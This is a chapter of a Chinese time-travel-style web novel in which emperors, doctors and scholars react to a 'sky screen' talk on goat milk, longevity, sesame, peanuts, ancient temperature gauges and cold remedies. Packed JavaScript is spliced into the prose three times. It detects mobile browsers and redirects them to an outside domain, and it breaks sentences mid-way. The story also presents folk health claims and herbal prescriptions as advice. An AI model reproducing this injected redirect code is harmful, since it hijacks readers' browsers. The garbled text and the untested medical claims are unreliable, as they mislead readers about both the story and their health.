【说到羊肉，羊除过羊肉还有羊奶，羊奶也有很多功效，比如增强体质，补充营养，促进骨骼发育，改善睡眠，提高免疫力，美容养颜，护肝养肝，温润补虚。《本草纲目》记载：“羊乳利皮肤、润毛发”。更早的《魏书》王琚传也记载：“常饮羊奶，色如处子。”北魏贾思勰《齐民要术》还记载了当时用羊奶做奶酪的方法，“羊产在日，直以手核令破……饱草，便可作酪”，这都说明了当时中国人对羊奶营养和保健作用的重视。另外，古代边境地区的族群，由于喝羊奶的机会更多，身体也格外高大强壮。当然羊奶有点膻，煮的时候放几粒杏仁或一小袋茉莉花茶，煮开后，把杏仁或茶叶渣去掉，就可以基本上除掉膻味。】 “羊奶竟有如此多功效？”孙思邈身旁的徒弟颇为惊讶。孙思邈微笑着答道：“确实如此，饮用一杯羊乳汁能缓解干呕，涂抹羊乳汁则可治疗漆疮。世间万物大多可作药材，关键在于你是否能发现其妙用。好好学吧，医学博大精深，我钻研一生，仍觉所学越多，未知亦越多。” 正在为人看病的李时珍也点头赞同，告诉面前的病人，“羊奶能补寒冷虚乏，润心肺，治消渴，疗虚劳，益精气、补肺肾气,喝之前可以先一点点试一下，有的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正在欣赏字画的乾隆冷哼一声，“宋朝的这些个皇帝，宋仁宗直是无丈夫气,英宗也只配被我鄙视和嘲笑”身边的大臣们彼此交换了一个眼神，却都沉默不语。陛下素来自信满满，在位期间也有着完全不逊于其他皇帝的治国才能。至于对于宋朝皇帝的轻视，就任由他去吧。 【第二是当时错误的育儿方式造成宋代皇室子嗣的夭折率极高。按照当时宋代宫廷制度，在皇子、皇女出生后，立即和生母分离，交给乳母喂养，但是乳母提供不了初乳，现代医学证明，母乳免疫物质更丰富，营养含量更高，能使婴儿更容易避免微生物侵袭和预防传染病等作用。另外，把婴儿和生母分离让二者联系中断，也容易造成子女身体素质差。】 【第三个原因尚不明确，听说在宋朝仁宗统治时期，为了使宫殿色彩鲜亮，大量使用了含有水银的朱砂进行修缮。水银对神经系统具有毒性，可能会影响儿童的发育，并对成人健康产生不利影响。因此，无论出于何种原因，都应避免接触水银朱砂，更不应长期接触或误食。】 在宋仁宗统治时期，赵祯闻讯后几乎惊慌失措，迅速安排皇后携妃嫔及公主们暂时迁居至临时住所，待宫殿修缮完毕后再行迁回，怪不得他的儿子都早夭，原来是宫殿的问题。他可不想皇位最后留给宗室继承，要不然等他死后谁知道那个皇帝会干什么，还是自己的儿子继承更好。在仁宗之后，宋朝的其他皇帝同样不希望英年早逝，未能留下子嗣继承皇位，纷纷搬离皇宫。 长孙皇后决定指示侍女和宦官在宫中进行彻底检查，确保今后严禁在宫殿内过度使用朱砂和水银，特别是涉及公主和皇子的居所。 嬴政感到有些无奈，宋朝的皇帝真是多灾多难。幸运的是，他自己的健康状况良好。他指示内侍，从今日起，他的子女必须每日坚持锻炼，以免重蹈天幕上所描述的那样，身体羸弱。 康熙略显迟疑，清朝对乳母的要求极为严格，其职责范围也颇为广泛，包括悉心调护、审慎卫养、适时更衣、节制饮食、关注寝兴、预防疾苦等。思及此，他觉得无需明言，若有妃子认为亲自哺乳更为妥当，便可自行承担；若自觉难以负荷，则可交由乳母负责。 雍正则决定以后养孩子尽量按照天幕说的，毕竟他不比皇阿玛儿子多，他这时候也就三个儿子,以后要是再有儿子就用母乳喂养并且严查是否有水银方面的接触。 4. 历史上长寿的方法与芝麻 【关于宋朝皇帝短命的原因，我们就探讨到这里。接下来，让我们继续了解有助于长寿的方法。历史上，许多大夫都曾总结出自己认为重要的养生之道。宋代名人周守忠曾言：“知喜怒之损性，故豁情以宽心；知思虑之销神，故损情而内守；知语烦之侵气，故闭口而忘言；知哀乐之损寿，故抑之而不有；知情欲之窃命，故忍之而不为。”此“五知”养生法，旨在避免“七情六欲”的过度宣泄。】 【明代医学家万密斋提出养生之法有四：“一日寡欲，二日慎动，三日法时，四日却疾。”这意味着从保健的角度来看，养生需遵循自然规律，并克服不良心态。另一位明代医学家江绮石则指出：“节嗜欲以养精，节烦恼以养神，节愤怒以养肝，节辛勤以养力，节思虑以养心，节悲哀以养肺。”由此可见，养生重在调养身心，而调养身心即是养护人的“精、气、神”。】 【清代养生家石成金曾言：“饮食宜早，不宜迟晚；进食宜缓，不宜急促；食量宜八九分饱，不宜过饱；口味宜清淡，不宜重味；食物宜温暖，不宜寒凉；质地宜软烂，不宜坚硬；饭后宜饮茶两三口，漱净口齿。”合理的饮食习惯，配合肌体的调养，实为养生之重要基石。】 南宋时期，钱塘的周守忠正在汇集前代医家的医事，编撰《历代名医蒙求》。他感到些许惊喜，没想到自己也能作为例子被天幕提到。他仔细研读天幕中关于养生的论述，不禁赞叹后面朝代的大夫在养生方面的智慧与见解。 他深知，养生并非一蹴而就，而是需要长期坚持，方能实现延年益寿的效果。因此，他决定将自己的养生心得与天幕中的论述相结合，进一步坚定了编撰《历代名医蒙求》的信念，期望将古人的养生智慧传承下去，惠及后人。 由于病人病情严重留在其家中仔细看顾的万密斋点头赞同天幕所言：“养生之道在于节食寡欲，固护脾肾，动静适度，养心益肝，顺应天时，调和阴阳。” 他坚决反对方士们所倡导的“谢绝谷物，必休妻室，方能长生”的荒谬论调，认为这种做法过于极端。同时，他也反对佛门道流所宣扬的“摒弃人伦，断绝生理”，以绝欲作为长寿康健的重要途径的说教。他认为，男女一旦达到成熟的结合条件，婚嫁并无妨害，谈不上对人体有何害处。相反，若在适当时机未能实现婚欲，反而会导致志欲不得伸展，压抑于内，从而引发疾病。 刘恒无需吩咐，太医署便迅速记录天幕上的内容，待学会实验后，再总结养生之道呈陛下过目。毕竟，陛下龙体安康至关重要。如今局势好不容易趋于稳定，若再生变故，后果将不堪设想。 宋朝的太医局也是忙碌不已，手头工作片刻不敢停歇，数十人齐力抄录，生怕有丝毫错漏。毕竟，天幕在举例时特别提到了宋朝的皇帝，若不加以改进，这些太医恐怕难以保住自己的职位。 天幕下的其他朝代人们一边迅速记录方法，一边盘算着之后去寻访大夫。大夫们亦抓紧时机从天幕上汲取知识，每当其展示医学内容时，总有一系列引人注目的要点。平日里，这些知识仅能从书籍中获取，鲜少有人可以当面请教，然而天幕的出现宛如那些仅闻其名的名医亲临传授，为人们提供了进步的契机，闭门造车之举实不可取。 有大夫对目前所提及的方法进行了总结：“除了饮食得当，还需注重起居有常，劳作有度。每日应定时作息，避免熬夜伤神；劳作时，亦需量力而行，不可过度劳累。此外，保持心态平和、情绪稳定，亦是长寿的关键。切勿因琐事而暴怒，勿因得失而大悲大喜。” 【当然，除了前述的那些人物，历史上确实还有其他一些名人和养生方法在现代看来很不错。例如，苏轼倡导“安步当车，晚食为益”，强调适度运动与合理饮食的至关重要性。唐朝开创颜体的著名书法家颜真卿自幼酷爱体育运动，75岁生日时不仅展示了精湛的书法技艺，还表演了体操绝技“跳马”，且重复了五六次。到了清朝中叶，著名文学家袁枚中年退出官场，游历山水长达四十年，即便年至80岁高龄，仍能徒步登山，步伐稳健，令人由衷钦佩。】 欧阳修听到天幕提起颜真卿，神色激动起来，“颜公书如忠臣烈士，道德君子，其端严尊重，人初见而畏之，然愈久而愈可爱也。其见宝于世者有必多，然虽多而不厌也。” 苏轼对颜真卿亦怀有深厚的崇敬之情，“颜鲁公之书，雄秀独出，一变古法，犹如杜子美之诗，格力天纵，囊括汉、魏、晋、宋以来之风流，后世书家，殆难再措手。”若将来撰写一部探讨书法的著作，颜真卿必然是不可或缺的篇章。 不过，看到天幕提及自己的养生之道，苏轼心中不免有些诧异，毕竟现如今的自己也才到而立之年，还没到养生的年纪。但若要他说说自己的感悟也是可以的，“安则物之感我者轻，和则我之应物者顺。养生之要，在于‘安’、‘和’二字。‘安’即静心，‘和’即顺心。唯有对世间万物持有‘安’、‘和’之心，方能臻至物我两相宜的养生至境。” 颜惟贞瞥了一眼尚不满周岁的第七子，小家伙被天空中传来的声音所吸引，尽管视线模糊，只能依稀跟随耳畔的声响啊啊作声。谁也无法预料，这个稚气未脱的孩童日后不仅会成长为一位享誉四方的书法家，而且年至七十五岁依然身体硬朗。 身旁的妻子殷氏同样如此，她温婉轻柔地哄逗着孩子，眼中闪烁着对未来的无限憧憬。颜惟贞凝视着妻儿，心中默默盘算，决意从今日起按照天幕所授之法勤加修炼，以期延长与妻儿的相伴时光。 正在尽情领略自然美景的袁枚开怀大笑，他深信自己能够长寿，很大程度上得益于他的自由与随性，不必为官场上的纷扰感到紧张和忧虑。那些在官场中仍能保持长寿的人，才是真正令人钦佩的。然而，年至八十仍能攀登高山，看来他心驰神往已久的武夷山和天台山，都将成为值得一游的胜地。 刘彻觉得如果这样的话就有利于长寿的话，自己好像没什么大问题，不纵欲，皇祖母和母后遗传的长寿基因，自己还时常去上林苑打猎，唯一需要注意的就是饮食，而心态方面虽然刚登基时头上的大山压着，可是现在已经没有人可以阻挡了。 嬴政认为自己的身体状况尚可，只是天幕中提醒需适当休息，避免过度劳累。看来他需要学会合理地劳逸结合。不过若天幕能讲讲更多有助于延年益寿的方法，那就再好不过了。 【除了保养身体之外，心理健康对身体健康同样具有重大影响。保持积极乐观的心态，对生活充满希望和正面态度，具备有效应对压力的能力，减少情绪和心理问题，这些都有助于延年益寿。】 【例如，乐观浪漫、至死不渝的大唐“嘴炮王”刘禹锡，他在22岁时进士及第，然而此后屡遭挫折，却依然能写出“自古逢秋悲寂寥，我言秋日胜春朝”这样豪迈的诗句。十年后，他好不容易重返长安，却因那首讽刺权贵的“玄都观里桃千树，尽是刘郎去后栽”触怒了唐宪宗，再次被贬。这一次，他历经十三年才得以重返长安，坚韧不拔的刘禹锡留下“种桃道士归何处，前度刘郎今又来”的诗句，再次踏上被贬的旅程。】 【白居易对他深感惋惜，但他却洒脱地挥袖而言：“沉舟侧畔千帆过，病树前头万木春。”在被贬至和州时，知县故意刁难，安排他在城南面江而居。他非但不恼，反而挥毫写下对联：“面对大江观白帆，身在和州思争辩。”】 【此举气得知县将他迁至城北河边。刘禹锡依旧泰然处之，又在门上题诗：“垂柳青青江水边，人在历阳心在京。”知县心态崩溃，最终将他安置在一间破旧小屋。刘禹锡愤然提笔，写下“斯是陋室，惟吾德馨”，即那首流传千古的《陋室铭》。他最终享年七十岁。由此可见，我们应当学习刘禹锡的这种豁达心态。】 白日骑驴觅句，暮则探囊整理，焚膏继晷的李贺，听完此人一生的经历后感慨万千。尽管他和李唐宗室有血缘关系，但家道早已衰落。父亲曾稍得升迁，担任陕县令，然而不久便老死。 母亲郑氏，育有一女二子，长守昌谷。大女出嫁后，家境愈发贫寒。他与兄弟二人被迫外出谋生，只为果腹，作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697868|173437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗“欲将千里别，特此易斗粟”，凄凉之情溢于言表。然而，目睹刘禹锡一生跌宕起伏却依旧乐观，他不禁心生敬佩，也不知自己何时能达到如此境界。 刚刚考取“书判拔萃科”，并被授予秘书省校书郎官职的白居易，对天幕上提及的这个素未谋面之人颇有好感。据天幕所言，自己与他日后或许还能成为知己。 同样考中并被任命为校书郎的元稹对此人也颇感兴趣，极力鼓动白居易在此次天幕结束后去结识这位君子。白居易笑着看了元稹一眼，尽管两人相识不久，却一见如故，在很多方面的见解不谋而合。“到时候我们一同前往，我记得听人提及，他目前应在御史台任职，柳子厚和韩退之也在那里。” 陶弘景非常赞同天幕所言，心态确实是影响长寿的关键因素之一。自幼受道教思想熏陶，他对精神养生有着深刻的理解，坚信只要内心保持平和，不受外界干扰，邪气便难以侵袭人体。因此，他在诸多养生著作中均强调精神内守、抱元守一的重要性。 正值三十岁的刘禹锡与挚友柳宗元、韩愈围坐品茗，在听完天幕的讲述后，他不禁感慨万千，意识到人生如白驹过隙，但回望过去，自己的生活似乎也充满了趣味。 然而，柳宗元和韩愈却显得有些忧虑。不过，他们很快释然，因为根据天幕所讲的刘禹锡并未做出任何不妥之事，反而赢得了良好的声誉。刘禹锡接着提出疑问：“天幕也不知是否会聊到你们二人的事迹呢？看讲的这段时间，天幕上显现的话语，似乎只与题目相关或者相关拓展。” 柳宗元微微一笑，摇了摇头道：“天幕自有其评判的标准，我等无需过于介怀。且不说这些，梦得你一生历经波折，却始终能以豁达之心面对，实在令人钦佩” 韩愈也附和道：“是啊，人生在世，难免遭遇挫折与困境，但若能如你一般，保持乐观与坚韧，便能在逆境中寻得一丝希望。至于天幕之事，我等还是顺其自然吧。”三人相视一笑，仿佛将所有的忧愁与烦恼都抛诸脑后。 【好了好了，我们跑题跑得太远了，之前说了芝麻的由来和作用。加下来继续说其他相关资料，首先芝麻分黑白两种，黑芝麻主要做食物的辅料，白芝麻含有油脂较多，适合榨油；黑芝麻的味道有点苦，而白芝麻则是一股坚果味；黑芝麻具有养血补肝肾的功效，具有明目、补肾益精的作用，还具有乌发养发的作用，可以缓解眼睛昏花、头晕耳鸣的症状，具有更强的补益作用。白芝麻则润肠通便、滋阴护肤的效果更好，食用对肠道和皮肤功效更强，所以服用芝麻的注意对应效果哦。】 【其次，芝麻喜温，在我国黄河及长江中下游各省均有种植，河南省产量最高，历史上西周、东周、东汉、曹魏、西晋、隋朝、唐朝、武周、北宋、南宋、等先后有20多个正统朝代先后建都或迁都河南，所以这些地区都适合种植芝麻。】 这些朝代的百姓已着手准备种植芝麻，无论是自用还是销售，近几年其销量均无忧。大家普遍期望天幕能进一步介绍更多适宜种植且兼具食用和药用价值的物种。 刚还在嘲讽宋朝皇帝身体不行的刘彻，突然觉得自己眼睛是不是出了问题，不叫汉朝，叫东汉是什么意思，难道还有一个西汉？汉朝竟然裂开了，怎么裂开的？难道是哪位王爷造反成功了？ 刘恒亦已察觉，然而这些事情目前并不重要。当前汉朝面临的困境诸多，既然存在东汉，至少表明汉朝历代君主尚有建树，否则不会再次建立一个新的汉朝。 赵匡胤愣了一下，前面提到宋朝皇帝身体衰弱，现在又说宋朝与汉朝一样出现了分裂，难道也是臣子篡位所致？不对，前有王莽篡位的失败案例，怎么可能再次成功？不，文臣不可能，难道是某位武将？难道是后代某位皇帝提升了武将的权力？想到这里，怒气涌上心头，我费尽心机杯酒释兵权，平稳地收回兵权，难道这一切都毫无成效吗？后来就没有文臣再劝谏皇帝了吗？ 李世民审视武周这一朝代，心中隐约生出一丝异样感，莫非此朝代与唐朝之间尚存某种隐秘关联？ 5. 花生与温度 【宁宁喝了口水继续说，选项B是正确的，花生喜温，适应性强，有较强的耐旱、耐瘠薄能力，种植花生对土壤要求不严，以排水良好的沙质土壤为最好。】 【花生名称繁杂,据我国有关历史文献记载,先后有万寿果、落地参、长生果、地豆、千岁子、地果、后花果、香芋、番豆等。我国花生栽培的记载也在世界上最早,“干岁子”这一名称,始于汉代《三辅黄图》，唐朝段成式所著《酉阳杂俎》其中有“又有一种，形如番芋，蔓生，艺者架小棚使蔓之，花开亦落土，结子如香芋，亦名花生”的描述。】 【元朝人贾铭在《饮食须知》中有“落花生，味甘、微苦、性平，形如香芋，小儿多食，滞气难消……”的记述。不过明朝后期李时珍作著《本草纲目》和徐光启所著《农政全书》均未见关于花生的记述，其原因可能是到明朝末年在中国花生还不是一种广泛种植利用的农作物。】 【花生的作用也不少，花生对心脏健康有益，而且又是一种美食，可以炒、炸、煮食，制成花生酥、以及各种糖果、糕点等，水煮花生，炒花生米，可以直接当零食来吃。花生是高饱腹感食物，能让你感觉更饱，或者饱的时间更长。】 【糖尿病的症状一般表现为体重减轻、恶心呕吐、易饥饿、易疲劳、易口渴、尿频、皮肤瘙痒、视物模糊等，不健康的生活方式是导致糖尿病的重要因素。这包括饮食不合理、缺乏运动、肥胖等。高糖、高脂肪的饮食习惯会导致身体代谢紊乱，增加糖尿病的风险。】 李世民觉得宫里的饮食需要调整了，这么一对应，平时吃的全是高糖高脂肪的东西，他可不希望年老了得这个糖尿病，并吩咐底下的人去找找花生。 刘彻吩咐大司农届时寻访此花生，既然言及汉朝已有，便不吝耗时。只是这《三辅黄图》未曾耳闻，亦不知出自何人之手。 汉朝与秦朝的农业官员们心中蠢蠢欲动，他们自忖亦有能力编撰农书。毕竟，这一官职本就要求对农业有深入了解，如今顺便编撰农书，或许还能因此青史留名。 张璐一边抄录天幕上的话语，一边补充道：“花生能健脾胃，饮食难消者宜之”，并计划结合天幕上所提及的相关资料，以及自己学医过程中对花生的认识与理解，将其编撰进自己即将撰写的医书《本经逢原》中。 金圣叹将一颗自己亲手剥好的花生抛入口中，缓缓品味道：“豆腐干与花生同嚼，竟能品出火腿的鲜美滋味，真是妙不可言。” “口渴，多食，多尿，这不就是消渴症。消渴之名首见于《素问·奇病论》中，云：“脾瘅…此人必数食甘美而多肥也，肥者令人内热，甘者令人中满，故其气上溢，转为消渴”。”孙思邈摸了摸胡须，身边的徒弟询问“那消渴症怎么治？” “猪肚丸，地黄丸，乌梅汤，酥蜜煎都可以。药物治疗的基础上，食疗也可以，菜类冬瓜子、竹笋，谷米类青小豆、青梁米，鸟兽类鹿头肉、黄雄鸡等。此病虽为疑难杂症，但是患者自身的预防调理也是重中之重，少饮酒，少咸食，慎戒房事，能慎此者，虽不服药而自可无他。不知此者，纵有金丹亦不可救，深思慎之。”孙思邈语音有些沉重。 【选项C也是正确的，大豆又叫做黄豆，在古代被称为菽。是喜温作物，在温暖的环境下生长良好。生长发育温度以15℃——25℃最为适宜，低温会使花期延迟。说到这里就有一个疑问了，古代有没有相关判定温度的方法呢，这还真的有。战国时，中国人已经会通过观察水的结冰情况，来推断气温下降的程度。】 氾胜之最近正在准备编纂一本农书，名字不用多想，直接就叫《氾胜之书》好了，不过他觉得大豆可以专门写到这本书里提一下，毕竟大豆保证有收获，易种植，而且现在天幕也说了种植大豆需要温暖的环境，就更简单了。 李世民：“《孟子》中提到‘圣人治天下，使有菽粟如水火’，从这便可知菽作为主要粮食的重要性，可惜天幕看起来不准备细讲这方面，看来对于后世菽的重要性大大降低了，也不知后世是什么样子。” 长孙皇后笑着接话道：“那肯定是后世粮食种类更多了，这不是一件好事吗？”李世民轻抚过皇后的手，他明白她的意思，这样他们更能知道更多的好东西。 蒙毅轻声念出《诗经·小雅》中的一句：“中原有菽，庶民采之。”原来，大豆便是这“菽”。尽管其味道平淡，他平日里鲜少食用，但大多数普通百姓日常所食的豆饭藿羹，却是以此为主。 他不禁好奇，天幕是否可以分享一下，这大豆是否有其他烹饪方法，若能制成美味佳肴，自是再好不过。 至于大豆的种植方法，他此前从未涉猎。既然天幕提及，他便决定记下，待日后抽空深入了解。若种植方法不如天幕说的，那就可以改进，从而收获更多粮食。虽说他自己并不缺粮，但若能让普通百姓多得些粮食，岂不是一件好事？ 【《吕氏春秋·慎大览·察今》中记载：“见瓶中之冰，而知天下之寒、鱼鳖之藏也。”《淮南子》中也有类似的记载：“见瓶中之水，而知天下之寒暑。”瓶子中装上水，如果水结冰了，就是进入寒冬了，等到冰再融化时，就是气温回升了。材料简单易操作，这样的“冰瓶”或“水瓶”，其实也正是最原始、应用最广泛的“温度计”。】 提及《吕氏春秋》一书，嬴政周围的氛围顿时冷却，四周的官员纷纷缄口不言，唯恐触怒嬴政。嬴政轻叹一声，道：“人既已逝，无论怎样，他毕竟为秦朝的发展贡献良多，我自不会迁怒于其后人。” 汉朝及后世对吕不韦有所了解的商人们，无不对他心生羡慕。他们梦寐以求能踏入朝廷，大展宏图，然而如今这已是无望之事。再者，能如吕不韦般卓越，即便是死也足以无憾了。 【自然环境下水的状态固然可以说明气温高低，却很难精准衡量具体温度。智慧的中国人很早就发现，健康人的体温，特别是腋下温度基本稳定。人们将腋□□温作为一种温度标尺，用在农业生产中。】 【以餐桌上常见的豆豉为例，北魏贾思勰所著的被称为中国古代的农业百科全书《齐民要术》中就有“作豉必室中温暖”的制作指南。“作豉法”强调，制作豆豉，要在暖和、太阳晒不着的屋子，温度保持人体腋下温度为最佳，即“大率常令温如人腋下为佳”“以手刺(豆豉)堆中候，看如腋下暖”。】 听到豆豉这个名字，有人说到，“这个是不是指的是《楚辞.招魂》“大苦咸酸”中的大苦。”有人赞同，有人认为应该是秦汉之际才出现的豆豉，《史记.货殖列传》最早出现的豆豉记述。两人因为这些辩论起来，周围人都开始看热闹，意识到被当热闹看了，两人只好停下辩论不再说话，继续看天幕。 那些刚打算通过制作豆豉来补贴家用，但对某些环节尚不甚明了的人，未曾料到，观看天幕竟能获得如此实用的指导。接下来，可以尝试测量腋下温度，同时注意保持环境温暖且避免阳光直射。若真能如此操作，或许便能赚取一些额外收入。 【除了豆豉，茶叶和养蚕业都用到了体温这个人人自带的标尺。宋代蔡襄在《茶录》之《藏茶》中说：“茶宜蒻叶而畏香药，喜温燥而忌湿冷。故收藏之家以蒻叶封裹入焙中，两三日一次用火，常如人体温。”】 【宋代农学家陈旉久居真州，他一生致力农桑，于南宋绍兴十九年写成以种稻、养蚕为主的江南农学专著《陈旉农书》。在论及洗蚕种的水温时，他说：“调温水浴之，水不可冷，亦不可热，但如人体斯可矣。”】 担任福建转运使的蔡襄欣慰一笑，他从改造北苑茶品质花色入手，求质求形。在外形上改大团茶为小团茶、品质上采用鲜嫩茶芽作原料，并改进制作工艺，创制出“小龙团”茶，发展北苑御园茶使其极负盛誉。 后来他发现陆羽的《茶经》，未能把闽产指出，使建茶淹没不彰；而丁谓所著的《茶图》，仅论及采制，没有说明烹试的方法，于是，将自己的研究心得，撰写成《茶录》一书，共二篇，800多字，其中上篇论茶，下篇论茶器，都属于烹试的方法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697869|173437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽身为道教徒，却不崇尚符录，不沉迷烧炼，依靠耕作与凿井自食其力的陈旉心中充满欣慰。他将游历中所见所闻的各地种植经验，结合家乡实际情况，灵活运用于实践之中。与乡邻们共同辛勤耕耘，在实践中逐步摸索出改造山田的有效方法，最终将这些宝贵经验汇编成书。只要此书能在改善百姓生活方面略尽绵薄之力，便不算徒劳无功。 【气温之外，湿度也是预报天气的一项重要依据。唐代黄子发的《相雨书》里，就有“壁上自然生水者，天将大雨”“石上津润出液，将雨数日”等根据湿度判断雨天的方法。《淮南子》里说：“夫湿之至也，莫见其形，而炭已重矣。”这是说，湿气到来的时候，人是看不见的，但是炭已经显出沉重了。】 【《史记·天官书》中，也提到了一种原始的“湿度计”：把土和炭分别挂在天平两侧，观测挂炭一端天平的升降。天气干燥，炭就轻，天平就倾向于土;天气潮湿，炭就重，天平就倾向于炭。】 【对于文人来说，还有更为风雅的方式：看琴弦。同样是《淮南子》中的记载：“雷震之声，可以鼓钟写也;风雨之变，可以音律知也。”东汉王充在《论衡·变动篇》中也写道：“故天且雨，蝼蚁徙，丘蚓出，琴弦缓，固疾发。”琴弦变松，是天气潮湿、弦线伸长所致。空气湿度大，就要下雨了。】 梅尧臣想起自己之前写的诗，“三日雨不止，蚯蚓上我堂。湿菌生枯篱，润气醭素裳”，这不也是根据湿度判断温度的方法。 在京城南蓝田山麓，修建了一所别墅，以供修养身心的王维望了望身边的琴，暗自思忖，下次若察觉到下雨的迹象，定要仔细观察琴弦的变化，此前竟未曾留意过这一细节。 在炎炎烈日下，一位老人正习惯的与身边的人讨论如何挑选高品质的种子。听到天幕上传来的话语，老人转向身旁的人说：“看你如此勤奋地研究，不妨你也撰写一本农书，或许将来你也能名扬四海。” 此时，担任高阳郡太守的贾思勰只是微笑不语，因为他知道自己的名字已经名垂青史。如果未来天幕再次提及农业相关的东西，那自己的著作会更加精确、实用。 【到了康熙年间，西方测温技术东渐。传教士南怀仁曾在北京制造温度计和湿度计，此事载入《新制灵台仪象志》。此外，清代中国人也做出了自己的温度计和湿度计。这位“技术大牛”正是江苏广陵人黄履庄。】 【黄履庄是清初制器工艺家、物理学家。他从小聪颖，酷爱制作技巧工艺，创造发明众多，包括诸镜、水法、验器和造器之器、“瑞光镜”(最早的探照灯)、“真画”、“自动戏”、“自行驱暑扇”、“验冷热器”和“验燥湿器”等。】 【“验冷热器”就是温度计，据说它“能诊试虚实，分别气候，证诸药之性情，其用甚广，另有专书”;“验燥湿器”就是湿度计，据说此器“内有一针，能左右旋，燥则左旋，湿则右旋，毫发不爽，并可预证阴晴”。可惜的是，黄履庄的发明都失传了。】 听闻如此多样的发明，墨家人按捺不住了，之前他们研究的基本都是力学方面的，这些方面还从没有人想过，不过天幕这样一说，灵感就来了。 他们跃跃欲试，即便无法完整复制，复原其中一部分亦足矣。再者，观天幕对发明领域的重视程度，或许墨家崭新的机遇即将到来。 清朝，康熙向梅文鼎询问是否听说过黄履庄，梅文鼎沉吟片刻后回答：“微臣确实有所耳闻，并曾亲自拜访过他。记得当时去黄履庄的门前，敲门之后，遇到了他所制作的机械狗，那狗栩栩如生，与真狗无异，让我眼界大开。” 广陵，黄履庄心生疑惑，自己不是曾经撰写过一本名为《奇器目略》的书籍，详细记录了自己的一些科技发明吗？难道这些发明已经失传，没有留下任何痕迹？ 想到这里，他决定在适当的时候多印制几本，赠送给那些对此感兴趣的朋友们。同时也有些向往，也不知道后世那么详细的温度计怎么做出来的，想着想着又陷入沉思一动不动。 6. 风寒、豆腐与油菜 【前文提到这么多《淮南子》，它的著作人淮南王刘安很有名，当然不是他造反啊，造反肯定失败了，整个中国历史上只有一个明朝的王爷朱棣成功造了自己的侄子朱允炆的反，被后人称之为永乐大帝。】 当其他朝代的王爷得知仅有一位王爷成功过，那些原本就犹豫不决的人立刻停止了行动。而那些已经开始叛乱的王爷，一部分部下都不愿意继续跟随，他们意识到反叛的失败几乎是注定的。因此，他们宁愿选择提前投降，以期获得皇帝的宽恕，这总比失去生命要好。 刘恒不着痕迹地松了一口气，尽管问题并未彻底解决，但天幕的这番话一出，大部分人都会放弃造反的念头。 刘彻则愈发感到不对劲，既然历史上成功造反的只有一个王爷，那么两个汉朝是如何建立的？难道是武将造反最后又被哪个王爷的后人打败了重新建立汉朝？可他总觉得不对劲，可能真相跟自己想的不一样。 “朱允炆，标儿果然是有病去世了，不然怎么会是标儿的儿子登基。不对，就算标儿去世了朱棣造反就这么容易？还被后人称为永乐大帝，行，永乐大帝你给我过来，让我看看你这大帝长什么样子？”朱元璋咬牙切齿的看向朱棣。 朱棣害怕的躲在朱标的身后，他才不傻，过去干嘛，之前挨打还没挨够吗，再说了当皇帝有什么好，还不如当个大将军封狼居胥，以后历史上除过霍去病就是我朱棣达到过这成就，历史上有几个皇帝能名流青史。想到这，呲着大牙嘿嘿笑个不停。 朱标无奈的挡在朱元璋面前，这事闹得，现在朱棣才多大，打他有什么用。 马皇后也有些担忧，之前太医说身体很好，那就有可能是急病，这下可以问了吧，天幕上闪过一句话【明-马皇后，为什么是朱允炆即位，朱标怎么了？】 【宁宁轻拍了一下桌子，有问题就问，这个问题问得好。为什么是朱允炆即位，因为朱标死了，朱标的嫡长子朱雄英也死了，至于死亡的原因不是很明确。】 【朱标死亡的原因有多种说法，主流说法是感染风寒，根据一些史料记载，朱标在巡视陕西后，可能因为气候原因感染了风寒，最终导致病情加重而去世。朱雄英历史上没有记载死因，只知道八岁就死了，推测可能也是得病死的，至于什么病不知道。】 【说到风寒，在古代这是一个很严重的病，在东汉末年的医圣张仲景的《伤寒杂病论》中记载风寒时发热头疼，不过“脉反沉”不完全是风寒感冒的症状，即身体虚弱有阴虚的表现，应该服用四逆汤，四逆汤主要由是附子、干姜和蜜制的甘草煎制而成，具有温中祛寒，治疗冷汗自出和四肢厥逆等症状。】 【对于完全的风寒感冒，首服桂枝汤。桂枝汤在《伤寒杂病论》中出现多次，可谓是《伤寒杂病论》中的“第一方”，“太阳中风”而得风寒时，出汗且身体发冷，鼻塞干呕，应该服用桂枝汤治疗。桂枝汤的主要成分是桂枝、芍药、生姜和大枣，对于得风寒时发热出汗有良好的效果。】 【另一个方法就是饮麻黄汤。张仲景的《伤寒杂病论》中对麻黄汤也有记载，同样是伤风寒，若症状是腰酸背痛但不出汗时，应该服用麻黄汤。】 【虽然桂枝汤和麻黄汤都是治疗风寒的药方，但却不能滥用，对于两者的用法有所区分，对于伤风寒时，有汗无汗用法不同，脉浮紧和脉浮缓的用法也不同，除了这两者之外，也要注意时令季节，“春忌麻黄夏忌桂”也具有一定的道理。如果不按照病症随意用药的话，轻则身体不适或，重则危及生命。】 